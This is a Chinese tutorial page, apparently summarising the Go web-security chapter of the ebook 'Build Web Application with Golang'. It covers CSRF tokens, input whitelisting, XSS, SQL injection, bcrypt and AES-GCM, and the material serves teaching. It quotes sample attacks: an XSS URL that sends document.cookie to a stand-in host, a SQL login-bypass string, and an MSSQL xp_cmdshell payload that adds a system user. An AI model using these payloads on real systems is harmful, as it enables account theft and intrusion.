文档教程【免费下载链接】build-web-application-with-golangA golang ebook intro how to build a web with golang项目地址https://gitcode.com/gh_mirrors/bu/build-web-application-with-golang点击查看免费下载导读本章是开源电子书《Build Web Application with Golang》泰文版第 9 章th/09.0.md的安全主题概述系统讲解了 Go Web 应用开发中最常见的四类安全威胁——CSRF跨站请求伪造、XSS跨站脚本、SQL 注入以及密码存储与数据加解密。读完本文你将掌握输入过滤的三个阶段、基于伪随机 token 的 CSRF 防护、白名单校验模式、bcrypt 密码哈希以及 AES-GCM 对称加解密等可直接落地的实战方案并了解仓库中对应示例代码th/code/src/apps/ch.4.4的具体实现。为什么 Web 安全如此重要大多数 Web 应用的安全性取决于对第三方数据的处理方式。CSDN、LinkedIn、Yahoo 等网站都曾因用户密码数据泄露而蒙受巨大损失这些事件足以说明安全防护的紧迫性。作为 Go 开发者我们必须意识到应用中存在的漏洞并主动采取预防措施防止攻击者接管系统。现代 Web 应用中的大部分安全问题都源于第三方提供的数据用户输入未经验证与净化如果直接存入数据库再原样输出给客户端就可能引发 XSS 攻击详见 9.3 节不安全数据直接拼入 SQL 查询可能导致 SQL 注入攻击详见 9.4 节请求伪造仅仅过滤输入、转义输出并不能解决所有问题CSRF 攻击9.1 节正是如此——攻击者利用网站信任的用户身份在用户不知情的情况下传输未经授权的命令敏感数据泄露密码等机密数据需要加密存储9.5 节需要双向解密的数据则应使用对称加密算法9.6 节。总体思路是使用第三方数据包括用户提交的数据时先通过过滤验证数据的完整性。CSRF 跨站请求伪造原理与防护什么是 CSRFCSRF 与 XSRF 均指 Cross-site request forgery跨站请求伪造也被称为one click attack一键攻击或 session riding会话骑乘。攻击过程大致是攻击者通过社会工程学手段例如利用 QQ 聊天软件向受害者发送恶意链接诱骗已登录信任网站 A 的用户访问危险链接 B从而在用户不知情的情况下向目标网站发起恶意请求。一个典型的后果是受害者登录网上银行后未退出点击恶意链接即可能被盗取全部账户资金。当被攻击的终端用户拥有管理员权限时整个 Web 应用都将面临威胁。CSRF 攻击的两个必要步骤从 th/images/9.1.csrf.png 所示的攻击流程图可以看出一次成功的 CSRF 攻击要求受害者完成两个步骤登录受信任的网站 A并在本地保存 Cookie在不离开网站 A 的前提下访问包含危险链接的网站 B。你可能认为只要不满足上述两个条件就不会被攻击但现实中无法保证登录某个网站时该网站不会暗中发起隐藏的标签页请求关闭浏览器后Cookie 会立即过期、会话立刻结束高流量、受信任的网站不存在可利用的 CSRF 漏洞。CSRF 攻击之所以成立根源在于用户认证机制本身服务器可以合理确信请求来自用户的浏览器却无法证明用户已授权该请求。服务端防护两大原则CSRF 的防御可以同时在客户端与服务端进行但服务端防御最有效。绝大多数服务端防御手段都围绕以下两点展开正确使用 GET、POST 与 CookieGET 仅用于查看信息而不改变数据POST 用于下单、修改资源属性等写操作。例如用 Go 的 mux 路由限制资源访问方式mux.Get(/user/:uid, getuser) mux.Post(/user/:uid, modifyuser)由于修改操作只允许 POST当请求以 GET 方式发出时可直接拒绝响应从而阻断利用 GET 发起的 CSRF 攻击。但 POST 同样可以被伪造所以还需要第二步。在非 GET 请求中加入伪随机数通常有两种做法为每个用户生成唯一的伪随机 Cookie token所有表单都包含该值。由于攻击者理论上无法读取第三方 Cookie未知随机值的伪造表单必然验证失败不同表单使用不同的伪随机值这与第 4.4 节如何防止表单重复提交的思路一致可直接复用相关代码。仓库中的 token 实战实现生成随机数 token原文档示例h : md5.New() io.WriteString(h, strconv.FormatInt(crutime, 10)) io.WriteString(h, ganraomaxxxxxxxxx) token : fmt.Sprintf(%x, h.Sum(nil)) t, _ : template.ParseFiles(login.gtpl) t.Execute(w, token)在表单中输出 tokeninput typehidden nametoken value{{.}}提交时认证 tokenr.ParseForm() token : r.Form.Get(token) if token ! { // 验证 token 的合法性 } else { // 错误token 不存在 }仓库中 th/code/src/apps/ch.4.4/nonce/main.go 给出了更完整的 nonce一次性使用的随机数实现createToken()以当前时间戳time.Now().Unix()和rand.Int63()随机数为输入经 MD5 摘要生成 32 位十六进制 tokenNonces结构用map[string]bool跟踪已使用 tokenCheckThenMarkToken则先校验再标记同时防止重复提交与伪造提交func createToken() string { h : md5.New() now : time.Now().Unix() io.WriteString(h, strconv.FormatInt(now, 10)) io.WriteString(h, strconv.FormatInt(rand.Int63(), 10)) return fmt.Sprintf(%x, h.Sum(nil)) }th/code/src/apps/ch.4.4/main.go 中的checkProfile处理器演示了完整的服务端校验链路先r.ParseForm()取出 token再调用submissions.CheckThenMarkToken(token)判断 token 是否存在、是否重复使用只有通过校验才继续处理表单数据。关于伪随机 token 的破解难度由于采用 MD5 摘要暴力破解需要约 2 的 11 次方量级的计算实际破解几乎不可能。输入过滤安全的第一道防线过滤用户数据是提升 Web 应用安全性最有效的手段之一目的是验证输入数据的合法性避免恶意代码或数据被错误执行或存储。绝大多数 Web 应用漏洞都源于忽视输入过滤、盲目信任输入。过滤过程分为三个阶段识别数据搞清数据从哪里来过滤数据判断接收到的数据是什么类型区分已过滤数据与污染数据过滤完成后确保进入应用的数据是安全的。识别数据来源在 Go 中用户通过 POST 提交的表单数据很容易识别调用r.ParseForm后全部数据都位于r.Form中。而其他输入则难以识别——例如r.Header中的许多字段常被客户端篡改因此应默认将所有 Header 视为已污染数据。即便是r.Header.Get(Accept-Charset)这类通常由浏览器操纵的字段也应视作用户输入。过滤手段与原则过滤数据有许多方式安全性各异。最佳做法是检查数据本身是否符合应用规定的合法要求且切勿尝试修正非法数据——修正行为可能让攻击者利用你的校验规则反噬系统。一个经典反例银行系统要求 6 位密码并校验长度若校验规则对过短密码自动补 0攻击者只需猜中前几位数字即可登录成功。历史上大量漏洞正是源于修正非法数据的思路。Go 标准库提供了丰富的过滤工具strconv将r.Form中的字符串值转换为特定类型常用转换包括Atoi、ParseBool、ParseFloat、ParseIntstrings提供Trim、ToLower、ToTitle等函数可按需获得特定格式的数据regexp处理更复杂的校验场景如判断输入是否为邮箱地址、生日等。在过滤之外再叠加认证手段效果更佳。**白名单whitelisting**是一种确认输入合法性的好方法采用白名单后一旦出错只可能是输入非法而不是相反——把非法数据误判为合法。虽然白名单可能误伤合法数据但这种宁可错杀的策略远比放行非法数据更安全。区分过滤数据与污染数据CleanMap 模式过滤完成后还需要区分已过滤与未过滤的数据以保证过滤流程的完整性且不影响原始输入。做法是将所有已过滤数据放入全局 map 变量CleanMap并遵循两条规则每个请求必须将CleanMap初始化为空 map防止外部数据源引入名为CleanMap的变量污染应用。以下表单只允许提交三个预设选项之一form action/whoami methodPOST Who am I: select namename option valueastaxieastaxie/option option valueherryherry/option option valuemarrymarry/option /select input typesubmit / /form不要天真地以为用户只能提交三个选项之一——POST 请求完全可以被模拟例如提交name attack即可注入非法数据。用白名单防御r.ParseForm() name : r.Form.Get(name) CleanMap : make(map[string]interface{}, 0) if name astaxie || name herry || name marry { CleanMap[name] name }上述代码初始化CleanMap仅当名字命中白名单astaxie、herry、marry时才赋值保证CleanMap[name]中存放的是已验证值。也可以在if后附加else分支处理非法数据如重新渲染表单并提示错误但不要过度宽容否则可能污染CleanMap。对于用户名只能由字母和数字组成这类格式校验可用 regexp 实现r.ParseForm() username : r.Form.Get(username) CleanMap : make(map[string]interface{}, 0) if ok, _ : regexp.MatchString(^[a-zA-Z0-9].$, username); ok { CleanMap[username] username }XSS 跨站脚本攻击动态内容的代价随着互联网技术发展Web 应用大量引入随用户请求与操作变化的动态内容而动态网站恰恰容易遭受 XSS 攻击静态网站则完全不受影响。什么是 XSSXSS 是 Cross-Site Scripting跨站脚本的缩写为避免与 CSS层叠样式表混淆用 X 代替 C。XSS 是常见的 Web 安全漏洞允许攻击者向网页注入恶意代码。与大多数只涉及攻击者与受害者双方的传统攻击不同XSS 涉及三方攻击者、客户端与 Web 应用。其核心目标通常是窃取 Web 应用存放在客户端浏览器中的 Cookie进而读取敏感信息、冒充用户交互。XSS 通常分为两类存储型 XSSStored XSS用户可在公开页面输入数据服务端保存后未经转义地返回给其他浏览者。常见受影响页面包括评论、评价、博客文章、留言板。攻击者输入 HTML 加隐藏的script恶意标签并保存应用将其写入数据库其他用户请求该页面时应用从数据库取出污染数据直接输出恶意脚本随即在客户端执行。反射型 XSSReflected XSS将恶意脚本直接嵌入 URL 查询参数中服务器立即将数据解析进结果页并原样返回给请求方。攻击者向用户发送伪装成可信网站链接的编码负载点击后浏览器即执行恶意脚本。XSS 的主要危害手段与后果包括窃取 Cookie、访问敏感信息利用 Flash 的跨域权限获得更高用户权限Java、VBScript 等类似攻击向量同理利用 iframe、frame、XMLHttpRequest 等冒充用户执行发微博、加好友、发私信等操作新浪微博曾因此类漏洞遭攻击大量用户访问被攻击页面时对小网站可造成近似 DDoS 的效果。XSS 攻击原理Web 应用在将请求数据返回给用户前若不加检查与过滤恶意用户注入的脚本通常内嵌在 HTML 的script标签中就会被渲染到其他用户的浏览器上并被执行——这就是 XSS 的定义也是 XSS 漏洞最常见的成因。以反射型 XSS 为例某网站根据 URL 查询参数输出用户名访问http://127.0.0.1/?nameastaxie会输出hello astaxie。若改为访问http://127.0.0.1/?namescriptalert(astaxie,xss)/script浏览器弹出 alert 对话框即说明存在 XSS 漏洞。窃取 Cookie 的攻击 URL 形如http://127.0.0.1/?name#60;script#62;document.location.hrefhttp://www.xxx.com/cookie?document.cookie#60;/script#62;点击该链接后当前 Cookie 会被发送到www.xxx.com。虽然这种 URL 会让多数人起疑但攻击者常借助 URL 缩短服务等方式混淆链接点击后 Cookie 数据已发送给第三方。可用 Websleuth 等工具审计应用是否存在此类漏洞。XSS 防御手段防御原则很简单绝不信任用户输入始终过滤接收到的所有输入中的特殊字符。具体技术包括过滤特殊字符Go 的text/template包提供 HTML 过滤函数如HTMLEscapeString、JSEscapeString等在 HTTP 头中指定内容类型w.Header().Set(Content-Type, text/javascript)此举让客户端浏览器按 JavaScript 代码解析响应并施加必要的过滤而不是以未指定、潜在危险的方式渲染内容。SQL 注入最普遍的脚本注入漏洞SQL 注入是 Web 开发中最常见的脚本注入类漏洞攻击者可借此获取数据库敏感信息甚至向数据库添加用户、导出私密文件、获取系统最高权限。成因是Web 应用未有效过滤用户输入攻击者提交恶意 SQL 查询代码改变原始查询逻辑并在应用执行查询时被一并执行。注入示例以一个简单的登录表单为例form action/login methodPOST pUsername: input typetext nameusername //p pPassword: input typepassword namepassword //p pinput typesubmit valueLogin //p /form表单处理代码直接拼接字符串username : r.Form.Get(username) password : r.Form.Get(password) sql : SELECT * FROM user WHERE username username AND password password 如果用户输入myuser or foo foo --SQL 变为SELECT * FROM user WHERE usernamemyuser or foo foo -- AND passwordxxx在 SQL 中--之后是注释攻击者插入--即可彻底改变查询语义无需密码即可登录。MSSQL 存在更危险的注入方式甚至可以执行系统命令sql : SELECT * FROM products WHERE name LIKE % prod % Db.Exec(sql)若攻击者提交a% exec master..xp_cmdshell net user test testpass /ADD --作为prodSQL 变成SELECT * FROM products WHERE name LIKE %a% exec master..xp_cmdshell net user test testpass /ADD--%MSSQL 服务将执行用户提供的prod变量中的命令向系统添加新用户若程序以足够权限运行且 MSSQLSERVER 服务权限充分攻击者即可注册系统账户并访问该机器。需要强调的是上述示例虽针对特定数据库但其他数据库系统同样可能遭受类似攻击——注入原理相同手法可能各异。六条防注入建议严格限制数据库操作权限用户仅拥有完成工作所需的最小权限集最大限度降低注入风险校验输入数据格式严格限制可提交的变量类型可用 regexp 匹配或用 strconv 将字符串转为其他基本类型进行净化与评估转义特殊字符对在持久化前对\*;等特殊字符进行转码或转义Go 的text/template包提供HTMLEscapeString函数可返回转义后的 HTML使用数据库的参数化查询接口参数化语句用占位符替代嵌入 SQL 中的用户输入变量不再直接拼接 SQL。例如 Go 的database/sql包中可用Prepare创建预编译语句再用Query或Exec(query string, args ...interface{})执行上线前用专业工具全面测试使用 sqlmap、SQLninja 等开源工具检测并修复 SQL 注入漏洞避免在公开页面输出 SQL 错误信息类型错误、字段不匹配错误或含 SQL 语句的错误信息都会成为攻击者的线索。密码存储从单向哈希到 bcrypt许多知名网站如 LinkedIn、CSDN都发生过密码数据泄露事件且现代用户常在不同网站复用同一密码影响面被进一步放大。作为 Web 开发者选择正确的密码存储方案至关重要。糟糕方案裸单向哈希 彩虹表目前最普遍的存储方案是先将明文密码做单向哈希。单向哈希最重要的特性是无法从哈希值反推原始数据常用算法包括 SHA-256、SHA-1、MD5。Go 中的用法如下// import crypto/sha256 h : sha256.New() io.WriteString(h, His money is twice tainted: taint yours and taint mine.) fmt.Printf(% x, h.Sum(nil)) // import crypto/sha1 h : sha1.New() io.WriteString(h, His money is twice tainted: taint yours and taint mine.) fmt.Printf(% x, h.Sum(nil)) // import crypto/md5 h : md5.New() io.WriteString(h, 需要加密的密码) fmt.Printf(%x, h.Sum(nil))单向哈希有两个关键特性给定密码的哈希摘要始终唯一确定计算速度极快——随着硬件进步每秒可完成数十亿次哈希计算。两者结合意味着大多数用户使用常见密码的组合攻击者可以预先计算所有常见密码的哈希值即彩虹表 rainbow table与泄露数据库中的哈希比对从而还原明文密码。因此仅用单向哈希存储密码是不够的——数据库一旦泄露原始密码就可能公之于众。好方案代价可控的慢哈希bcrypt多年前攻击者缺少计算大规模彩虹表的算力单向哈希尚可抵挡多数攻击但随着并行计算能力崛起此类攻击越来越可行。正确的思路是刻意增加哈希计算的时间与资源开销让攻击者无法承受构建彩虹表的成本。在 Go 中推荐使用bcrypt包golang.org/x/crypto/bcrypt对应仓库中引用该包的示例风格。bcrypt 在内部嵌入盐值salt并内置可调节的计算成本参数天然抵御彩虹表与暴力破解。完整示例package main import ( fmt log golang.org/x/crypto/bcrypt ) func main() { userPassword1 : some user-provided password // 根据用户密码生成待存储的 hash hash, err : bcrypt.GenerateFromPassword([]byte(userPassword1), bcrypt.DefaultCost) if err ! nil { // TODO: 妥善处理错误 log.Fatal(err) } fmt.Println(Hash to store:, string(hash)) // 将此 hash 存入数据库 // 一段时间后用户登录需要校验其输入的密码 userPassword2 : some user-provided password hashFromDatabase : hash // 比较密码与哈希 if err : bcrypt.CompareHashAndPassword(hashFromDatabase, []byte(userPassword2)); err ! nil { // TODO: 妥善处理错误 log.Fatal(err) } fmt.Println(Password was correct!) }其中bcrypt.DefaultCost为默认计算强度强度越高攻击者预计算彩虹表越困难甚至不可行。CompareHashAndPassword用于登录时比对用户输入与库中哈希。给开发者的两条建议作为普通互联网用户推荐使用 LastPass 等密码管理器生成并保存密码且不同网站使用不同密码作为 Go Web 开发者务必采用经过充分测试的专业方案如 bcrypt存储用户密码。数据加解密AES-GCM 对称加密单向哈希适合存储密码这类只存不读的数据但有时需要修改数据库中已存储的敏感加密数据此时必须使用对称加密算法。Go 在crypto包中支持对称加密算法。如果不清楚自己在做什么除 AES 的 GCM 模式外不要使用其他模式crypto/aes包实现了 AESAdvanced Encryption Standard又称 Rijndael 加密法是美国联邦政府采用的块加密标准。以下示例演示 AES-GCM 模式的加密与解密package main import ( crypto/aes crypto/cipher crypto/rand errors fmt io log ) func main() { text : []byte(My name is Astaxie) key : []byte(the-key-has-to-be-32-bytes-long!) ciphertext, err : encrypt(text, key) if err ! nil { // TODO: 妥善处理错误 log.Fatal(err) } fmt.Printf(%s %x\n, text, ciphertext) plaintext, err : decrypt(ciphertext, key) if err ! nil { // TODO: 妥善处理错误 log.Fatal(err) } fmt.Printf(%x %s\n, ciphertext, plaintext) } func encrypt(plaintext []byte, key []byte) ([]byte, error) { c, err : aes.NewCipher(key) if err ! nil { return nil, err } gcm, err : cipher.NewGCM(c) if err ! nil { return nil, err } nonce : make([]byte, gcm.NonceSize()) if _, err io.ReadFull(rand.Reader, nonce); err ! nil { return nil, err } return gcm.Seal(nonce, nonce, plaintext, nil), nil } func decrypt(ciphertext []byte, key []byte) ([]byte, error) { c, err : aes.NewCipher(key) if err ! nil { return nil, err } gcm, err : cipher.NewGCM(c) if err ! nil { return nil, err } nonceSize : gcm.NonceSize() if len(ciphertext) nonceSize { return nil, errors.New(ciphertext too short) } nonce, ciphertext : ciphertext[:nonceSize], ciphertext[nonceSize:] return gcm.Open(nil, nonce, ciphertext, nil) }关键实现细节aes.NewCipher的[]byte密钥长度必须为16、24 或 32 字节分别对应AES-128、AES-192、AES-256算法返回的cipher.Block接口实现了三个方法type Block interface { // BlockSize 返回密码块大小 BlockSize() int // Encrypt 将 src 中的第一个块加密到 dst 中 // dst 与 src 可以指向同一块内存 Encrypt(dst, src []byte) // Decrypt 将 src 中的第一个块解密到 dst 中 // dst 与 src 可以指向同一块内存 Decrypt(dst, src []byte) }加密时通过crypto/rand生成随机的 nonce一次性随机数并作为密文前缀返回解密时先从密文头部取出 nonce 再执行gcm.Open确保同一密钥下每次加密输出不同密文GCM 模式同时提供机密性与完整性校验认证这是它被推荐用于 Web 应用的原因。本章总结本章系统覆盖了 CSRF、XSS、SQL 注入三类攻击多数 Web 应用因输入过滤不足而暴露于这些攻击之下因此除介绍攻击原理外本章也给出了过滤用户数据、防范攻击的实用技术。随后讨论了安全存储用户密码的方法——从适用于宽松安全需求场景的单向哈希到更严肃应用场景的密码加盐与加密算法最后简要探讨了对称加密与敏感数据的加解密。本章的最终目标是帮助读者增强对现代 Web 应用安全问题的意识在规划与设计应用时更加审慎写出能防止黑客利用用户数据的系统。Go 语言拥有庞大而设计精良的反攻击工具包每个 Go 开发者都应善用这些标准库与生态包如text/template的转义函数、database/sql的预编译语句、golang.org/x/crypto/bcrypt、crypto/aes等来加固自己的 Web 应用。延伸阅读本章目录th/09.0.md上一章小结第八章 总结下一节CSRF 攻击再下一节过滤输入反例的完整可运行示例token 防重复提交th/code/src/apps/ch.4.4/main.go、th/code/src/apps/ch.4.4/nonce/main.go赞分享文档教程【免费下载链接】build-web-application-with-golangA golang ebook intro how to build a web with golang项目地址https://gitcode.com/gh_mirrors/bu/build-web-application-with-golang点击查看免费下载相关推荐使用 Go 构建安全 Web 应用CSRF、XSS、SQL 注入防御与加密实践指南使用 Go 构建安全 Web 应用CSRF、XSS、SQL 注入防御与加密实践指南 本文基于开源书籍《Build Web Application with G文档教程用 Go 筑牢 Web 应用安全防线CSRF、XSS、SQL 注入与密码加密全景指南用 Go 筑牢 Web 应用安全防线CSRF、XSS、SQL 注入与密码加密全景指南 本章第 9 章是《Build Web Application wit文档教程Go Web 安全与加密实战从 CSRF/XSS/SQL 注入防御到密码存储与 AES 双向加密Go Web 安全与加密实战从 CSRF/XSS/SQL 注入防御到密码存储与 AES 双向加密 导读 本章《Build Web Application w文档教程上一篇3分钟掌握Res-Downloader全网资源智能嗅探下载完全指南下一篇揭秘KMS_VL_ALL_AIO一站式Windows与Office批量激活的终极解决方案创作声明：本文部分内容由AI辅助生成（AIGC），仅供参考
